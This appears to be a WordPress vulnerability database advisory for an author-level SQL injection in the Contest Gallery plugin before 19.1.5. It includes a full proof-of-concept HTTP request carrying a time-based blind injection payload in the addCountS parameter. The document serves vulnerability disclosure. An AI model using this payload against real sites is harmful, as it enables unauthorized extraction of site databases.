WordPress Plugin Vulnerabilities
Contest Gallery < 19.1.5 - Author+ SQL Injection
Description
The plugins do not escape the addCountS POST parameter before concatenating it to an SQL query in 4_activate.php. This may allow malicious users with at least author privilege to leak sensitive information from the site's database.
Proof of Concept
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------19123588403344585440977856331 Content-Length: 2041 Origin: http://localhost:8080 Connection: close Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7Ce93774011f8915e8d1b69955e8c50a905c9040c9c17efcca7b42f24fb32f43e2; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7C2bc19f40221c8d9c3d9219517701a229fe9080215045fe6a050c6d9b594282b3; wp-settings-time-5=1668467252; wp-settings-5=libraryContent%3Dbrowse Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cgGalleryFormSubmit" 1 -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="action" post_cg_gallery_view_control_backend -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cgGalleryHash" 355b5e0384230f74e41bc47f47d94aef -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cg_id" 1 -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cg_start" -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cg_step" 10 -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cg_order" custom -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cgVersionScripts" 19.1.4.1 -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cg_search" -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="addCountS[1/**/AND/**/(SELECT/**/7741/**/FROM/**/(SELECT(SLEEP(5)))hlAf)]" 6 -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cg_email[2]" df@kc.org -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cg_image_name[2]" 10x-featured-social-media-image-size -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="chooseAction1" 1 -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cgBackendHash" e12e8782da8ac6c4f1725d81a9811524 -----------------------------19123588403344585440977856331 Content-Disposition: form-data; name="cgIsRealFormSubmit" true -----------------------------19123588403344585440977856331--
Affects Plugins
References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Kunal Sharma (University of Kaiserslautern), Daniel Krohmer (Fraunhofer IESE)
Submitter
Daniel Krohmer
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-05 (about 1 years ago)
Added
2022-12-05 (about 1 years ago)
Last Updated
2022-12-05 (about 1 years ago)